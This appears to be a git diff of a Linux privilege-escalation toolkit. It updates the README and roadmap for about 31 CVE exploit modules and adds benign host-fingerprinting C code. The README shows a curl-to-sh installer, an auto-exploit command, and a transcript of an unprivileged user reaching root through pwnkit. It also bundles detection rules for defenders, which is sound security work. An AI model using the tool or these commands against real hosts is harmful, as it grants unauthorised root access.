| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||||
|
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||||
|
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||||
|
|
||||||
|
## Corpus at a glance
|
||||||
|
|
||||||
|
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||||
|
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||||
|
`pack2theroot` — see note below):
|
||||||
|
|
||||||
|
| Tier | Count | What it means |
|
||||||
|
|---|---|---|
|
||||||
|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||||
|
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||||
|
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||||
|
|
||||||
|
**🟢 Modules that land root on a vulnerable host:**
|
||||||
|
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||||
|
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||||
|
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||||
|
(KASLR leak primitive)
|
||||||
|
|
||||||
|
**🟡 Modules with opt-in `--full-chain`:**
|
||||||
|
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||||
|
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||||
|
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||||
|
|
||||||
|
**⚪ Ported-but-unverified (not in the counts above):**
|
||||||
|
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||||
|
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||||
|
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||||
|
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||||
|
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||||
|
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||||
|
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||||
|
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||||
|
|
||||||
|
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||||
|
detection status.
|
||||||
|
|
||||||
|
## Quickstart
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
# Install (x86_64 / arm64; checksum-verified)
|
||||||
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
|
|
||||||
# What's this box vulnerable to? (no sudo)
|
# What's this box vulnerable to? (no sudo)
|
||||||
skeletonkey --scan
|
skeletonkey --scan
|
||||||
|
|
||||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
# Pick the safest LPE and run it
|
||||||
skeletonkey --audit
|
skeletonkey --auto --i-know
|
||||||
|
|
||||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||||
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
skeletonkey --detect-rules --format=auditd \
|
||||||
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||||
sudo skeletonkey --mitigate copy_fail
|
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||||
|
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
|
||||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||||
|
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||||
|
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||||
|
paths.
|
||||||
|
|
||||||
### Example: unprivileged → root
|
### Example: unprivileged → root
|
||||||
|
|
||||||
```text
|
```text
|
||||||
$ id
|
$ id
|
||||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||||
|
|
||||||
$ skeletonkey --scan
|
$ skeletonkey --auto --i-know
|
||||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
[*] auto: scanning 31 modules for vulnerabilities...
|
||||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||||
|
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||||
|
[ ] auto: copy_fail patched or not applicable
|
||||||
|
[ ] auto: nf_tables precondition not met
|
||||||
|
...
|
||||||
|
|
||||||
$ skeletonkey --exploit dirty_pipe --i-know
|
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
[*] auto: launching --exploit pwnkit...
|
||||||
[+] dirty_pipe: spawning su root
|
|
||||||
|
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||||
|
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||||
# id
|
# id
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
```
|
```
|
||||||
|
|
||||||
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
|
The safety ranking goes: **structural escapes** (no kernel state
|
||||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
touched) → **page-cache writes** → **userspace cred-races** →
|
||||||
for the blue-team deployment guide.
|
**kernel primitives** → **kernel races** (least predictable). The
|
||||||
|
goal is to never crash a production box looking for root.
|
||||||
|
|
||||||
## What this is
|
## How it works
|
||||||
|
|
||||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||||
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
|
Modules export a standard interface (`detect / exploit / mitigate /
|
||||||
is empirically verified to work on the kernels it claims to target,
|
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||||
CI-tested across a distro matrix, and ships with the detection
|
top-level binary dispatches per command:
|
||||||
signatures defenders need to spot it in their environment.
|
|
||||||
|
|
||||||
The same binary covers offense and defense:
|
- `--scan` walks every module's `detect()` against the running host
|
||||||
|
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||||
|
`--i-know` flag is the authorization gate)
|
||||||
|
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||||
|
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||||
|
embedded rule corpus
|
||||||
|
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||||
|
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||||
|
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||||
|
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||||
|
|
||||||
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
|
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||||
apply, and which are blocked by patches/config/LSM
|
module-loader design.
|
||||||
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
|
|
||||||
authorization gate)
|
## The verified-vs-claimed bar
|
||||||
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
|
|
||||||
every bundled CVE so blue teams can drop them into their tooling
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
offsets. The shared `--full-chain` finisher only returns
|
||||||
|
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||||
|
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||||
|
populate the offset table once per target kernel via
|
||||||
|
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||||
|
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||||
|
|
||||||
|
## Build from source
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||||
|
cd SKELETONKEY
|
||||||
|
make
|
||||||
|
./skeletonkey --version
|
||||||
|
```
|
||||||
|
|
||||||
|
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||||
|
also compile (modules with Linux-only headers stub out gracefully).
|
||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**Active — v0.5.0 cut 2026-05-17.** Corpus covers **28 modules**
|
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||||
across the 2016 → 2026 LPE timeline:
|
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||||
|
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||||
|
patched hosts.
|
||||||
|
|
||||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
Reliability + accuracy work in v0.6.0:
|
||||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||||
- 🟡 **11 modules fire the kernel primitive** by default and refuse
|
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||||
to claim root without empirical confirmation. Pass `--full-chain`
|
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||||
to engage the shared `modprobe_path` finisher and attempt root
|
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||||
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
|
fork-isolated detect + exploit so a crashing module can't tear down
|
||||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
the dispatcher, structured per-module verdict table, scan summary.
|
||||||
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
|
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||||
nft_payload, nft_set_uaf, stackrot.
|
is version-pinned, not just precondition-only.
|
||||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
|
||||||
are exported via `skeletonkey --detect-rules --format=…`.
|
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
the next roadmap item; until then, the corpus is best understood as
|
||||||
|
"compiles + detects + structurally correct + honest on failure" —
|
||||||
|
and the three ported modules have not been run against a vulnerable
|
||||||
|
target at all.
|
||||||
|
|
||||||
## Why this exists
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||||
|
infrastructure work.
|
||||||
|
|
||||||
The Linux kernel privilege-escalation space is fragmented:
|
## Contributing
|
||||||
|
|
||||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||||
exploits, don't run them
|
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||||
stale, no CI, no defensive signatures
|
|
||||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
|
||||||
within months of release, often only one distro
|
|
||||||
|
|
||||||
SKELETONKEY's bet is that there's room for a single curated bundle that
|
|
||||||
(1) actively maintains a small set of high-quality exploits across a
|
|
||||||
multi-distro matrix, and (2) ships detection rules alongside each
|
|
||||||
exploit so the same project serves both red and blue teams.
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
|
||||||
Modules export a standard interface: `detect()`, `exploit()`,
|
|
||||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
|
||||||
ranges, distro coverage, and CI test matrix.
|
|
||||||
|
|
||||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
|
||||||
fingerprinting, common utilities) lives in `core/`.
|
|
||||||
|
|
||||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
|
||||||
module-loader design and how to add a new CVE.
|
|
||||||
|
|
||||||
## Build & run
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make # build all modules
|
|
||||||
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
|
|
||||||
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
|
|
||||||
./skeletonkey --detect-rules --format=sigma > rules.yml
|
|
||||||
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Acknowledgments
|
## Acknowledgments
|
||||||
|
|
||||||
Each module credits the original CVE reporter and PoC author in its
|
Each module credits the original CVE reporter and PoC author in its
|
||||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
|
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||||
research credit belongs to the people who found the bugs.
|
the research credit belongs to the people who found the bugs.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
|
|||||||
+89
-5
@@ -164,16 +164,94 @@ Backfill of historical and recent LPEs as time allows.
|
|||||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||||
|
|
||||||
|
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||||
|
|
||||||
|
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||||
|
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||||
|
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||||
|
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||||
|
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||||
|
structural argv-injection (no kernel state, no offsets).
|
||||||
|
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||||
|
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||||
|
|
||||||
|
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||||
|
of the 28-module verified corpus):**
|
||||||
|
|
||||||
|
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||||
|
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||||
|
stub is retired. The stub's open question ("is the
|
||||||
|
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||||
|
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||||
|
is closed.
|
||||||
|
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||||
|
decrypt page-cache write. Ported from the V12 PoC.
|
||||||
|
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||||
|
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||||
|
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||||
|
confidence `detect()` — reads PackageKit's version directly over
|
||||||
|
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||||
|
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||||
|
Adds an optional GLib/GIO build dependency, autodetected via
|
||||||
|
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||||
|
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||||
|
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||||
|
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||||
|
`--active` so the probes give definitive verdicts; each
|
||||||
|
`detect()` runs in a fork-isolated child so one bad probe
|
||||||
|
cannot tear down the scan.
|
||||||
|
|
||||||
|
**--auto accuracy work (landed 2026-05-22):**
|
||||||
|
|
||||||
|
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||||
|
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||||
|
checks can no longer be fooled by silent distro backports.
|
||||||
|
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||||
|
precondition / indeterminate) instead of only printing the
|
||||||
|
`VULNERABLE` rows.
|
||||||
|
- [x] Scan-end summary line counting each verdict class.
|
||||||
|
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||||
|
printed in the `--auto` banner alongside kernel + arch.
|
||||||
|
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||||
|
module's probe is contained and the scan continues. Surfaced
|
||||||
|
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||||
|
CPUs: exactly the failure mode the isolation now handles.
|
||||||
|
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||||
|
operation) without firing. Works with `--auto`, `--exploit`,
|
||||||
|
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||||
|
`--i-know` (nothing fires) so operators can inspect the host's
|
||||||
|
attack surface without arming. Bare `--auto` still gates on
|
||||||
|
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||||
|
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||||
|
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||||
|
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||||
|
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||||
|
their verdicts; `--active` confirms empirically on top.
|
||||||
|
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||||
|
`struct skeletonkey_host` is populated once at startup and
|
||||||
|
handed to every module via `ctx->host`: kernel version + arch
|
||||||
|
+ distro id/version + capability gates (unprivileged_userns,
|
||||||
|
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||||
|
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||||
|
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||||
|
so operators see at a glance which gates are open. 4 modules
|
||||||
|
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||||
|
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||||
|
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||||
|
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||||
|
future modules can opt-in by including `core/host.h`.
|
||||||
|
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||||
|
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||||
|
consume `ctx->host` — incremental follow-up.
|
||||||
|
|
||||||
**Carry-overs:**
|
**Carry-overs:**
|
||||||
|
|
||||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
|
||||||
- [ ] Fragnesia (if it lands as a CVE)
|
|
||||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||||
ships (responsible-disclosure-first)
|
ships (responsible-disclosure-first)
|
||||||
|
|
||||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||||
|
|
||||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||||
None requires fresh research — each has a public reference exploit;
|
None requires fresh research — each has a public reference exploit;
|
||||||
@@ -184,9 +262,15 @@ auto-resolve via System.map / kallsyms when accessible).
|
|||||||
|
|
||||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||||
race window makes it inherently low-yield.
|
race window makes it inherently low-yield; the nft_* family and
|
||||||
|
vmwgfx need their per-kernel offset tables built out.
|
||||||
|
|
||||||
|
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||||
|
**not** part of this Phase 8 promotion set — they need VM verification
|
||||||
|
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||||
|
full-chain work is meaningful.
|
||||||
|
|
||||||
## Non-goals
|
## Non-goals
|
||||||
|
|
||||||
|
|||||||
+345
@@ -0,0 +1,345 @@
|
|||||||
|
/*
|
||||||
|
* SKELETONKEY — host fingerprint implementation
|
||||||
|
*
|
||||||
|
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||||
|
* first call, stores into a file-static, and returns the same pointer
|
||||||
|
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||||
|
* no synchronisation needed.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <pwd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static struct skeletonkey_host g_host;
|
||||||
|
static bool g_host_ready = false;
|
||||||
|
|
||||||
|
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||||
|
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||||
|
* value (after `=`). Cap is the size of dst including NUL. */
|
||||||
|
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
const char *p = s;
|
||||||
|
if (*p == '"' || *p == '\'') p++;
|
||||||
|
size_t L = strcspn(p, "\"'\n");
|
||||||
|
if (L >= cap) L = cap - 1;
|
||||||
|
memcpy(dst, p, L);
|
||||||
|
dst[L] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool path_exists(const char *p)
|
||||||
|
{
|
||||||
|
struct stat st;
|
||||||
|
return stat(p, &st) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||||
|
static bool read_int_file(const char *path, int *out)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
int v;
|
||||||
|
int n = fscanf(f, "%d", &v);
|
||||||
|
fclose(f);
|
||||||
|
if (n != 1) return false;
|
||||||
|
*out = v;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||||
|
fclose(f);
|
||||||
|
size_t n = strlen(dst);
|
||||||
|
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ── populators ───────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
static void populate_kernel(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
struct utsname u;
|
||||||
|
if (uname(&u) == 0) {
|
||||||
|
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||||
|
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||||
|
* does not warn about possible truncation (we WANT truncation;
|
||||||
|
* the snprintf already caps). */
|
||||||
|
snprintf(h->arch, sizeof h->arch,
|
||||||
|
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||||
|
snprintf(h->nodename, sizeof h->nodename,
|
||||||
|
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||||
|
}
|
||||||
|
/* kernel_version_current owns the static release-string buffer
|
||||||
|
* and the parser — reuse it to keep one source of truth. */
|
||||||
|
kernel_version_current(&h->kernel);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_distro(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||||
|
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||||
|
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||||
|
|
||||||
|
FILE *f = fopen("/etc/os-release", "r");
|
||||||
|
if (!f) return;
|
||||||
|
char line[256];
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, "ID=", 3) == 0)
|
||||||
|
parse_os_release_value(line + 3,
|
||||||
|
h->distro_id, sizeof h->distro_id);
|
||||||
|
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||||
|
parse_os_release_value(line + 11,
|
||||||
|
h->distro_version_id, sizeof h->distro_version_id);
|
||||||
|
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||||
|
parse_os_release_value(line + 12,
|
||||||
|
h->distro_pretty, sizeof h->distro_pretty);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_user(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->euid = geteuid();
|
||||||
|
h->egid = getegid();
|
||||||
|
h->is_root = (h->euid == 0);
|
||||||
|
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||||
|
|
||||||
|
h->username[0] = '\0';
|
||||||
|
struct passwd *pw = getpwuid(h->euid);
|
||||||
|
if (pw && pw->pw_name)
|
||||||
|
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||||
|
|
||||||
|
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||||
|
* discover the outer uid if we're inside a user namespace. Format
|
||||||
|
*
|
||||||
|
* "0 0 4294967295" → init ns, outer == 0
|
||||||
|
* "0 1000 1" → userns mapped, outer == 1000
|
||||||
|
*
|
||||||
|
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||||
|
h->real_uid = h->euid;
|
||||||
|
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||||
|
if (fd >= 0) {
|
||||||
|
char buf[256];
|
||||||
|
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||||
|
close(fd);
|
||||||
|
if (n > 0) {
|
||||||
|
buf[n] = '\0';
|
||||||
|
int inner = -1, outer = -1, count = 0;
|
||||||
|
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||||
|
inner == 0 && outer > 0)
|
||||||
|
h->real_uid = (uid_t)outer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
